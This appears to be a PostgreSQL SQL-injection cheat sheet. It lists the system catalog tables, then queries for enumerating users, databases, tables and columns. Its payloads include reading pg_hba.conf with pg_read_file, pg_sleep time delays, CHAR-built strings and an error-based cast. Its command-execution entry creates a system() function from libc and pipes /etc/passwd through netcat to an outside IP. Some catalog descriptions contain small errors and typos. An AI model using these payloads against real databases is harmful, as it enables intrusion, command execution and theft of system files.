postgresql basis
the system catalog tables of psotgresql include the following tables:
- pg_databases:contains information about all databases, such as database name, owner, character set, etc
- pg_tablespace: contains information about all table spaces, such as table space name, location, etc.
- pg_class:contains information about all objects such as tables, indexes, sequences, etc., such as object name, schema, object type, etc.
- pg_attribute:contains information about columns of all objects such as tables, views, indexes, etc., such as column name, data type, whether it is a primary key, etc.
- pg_index: contains information about all indexes, such as index name, associated table, index type, etc.
- pg_namespace: contains information about all schemas, such as schema name, associated database, etc.
- pg_user: contains information about all users, such as username, password, whether it is a superuser, etc.
- pg_roles: contains information about all roles, such as role name, whether it is a superuser, etc.
- pg_authid: contains information about all authentication, such as username, password, role, etc
query & command
version --select version();
list users -- select username from pg_user;#-obtains the colum 'username' from table pg_user
create db account -- create user victor with password 'pass123';
current user
- select user ##obtains a name of recently logged in user
- select current_user ##obtains a name of current user.
- select session_user
- select useranme from pg_user;
- select getpgusername(); ##obtains the user name in current session
list all database select datname from pg_database; ##obtains the list of database in column 'datname' from table 'pg_database'
current database select current_database()
load file select pg_read_file('global/pg_hba.conf',0,10000000); ##this command is used to read only the content of the data directory
list tables select c.relname from pg_catalog.pg_class c left join pg_catalog.pg_namespace n on n.oid=c.relnamespace where c.relkind in('r','') and n.nspname not in('pg_catalog','pg_toast') and pg_catalog.pg_table_is_visible(c.oid); ##lists the tables present in the database
list columns select relname,A.attname from pg_class C,pg_namespace N,pg_attribute A,pg_type T where (c.relkind='r') and (N.oid=C.relnamespace) and (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’); ##lists the columns present in the database
case statement select case when(1=1) then 'A' else 'B' end; ##returns A
string without quotes select (CHAR(75)||CHAR(76)||CHAR(77)) ##return KLM
time delay select pg_sleep(10);
command execution create or replace function system(cstring)returns int as '/lib/libc.so.6','system' language 'C' strict; -priv
select system('cat /etc/passwd |nc 10.10.10.1 8080');##run as pgsql os user
select * from mydata where 1=(select cast((chr(95)||current_database()) as numeric);
related to che_sql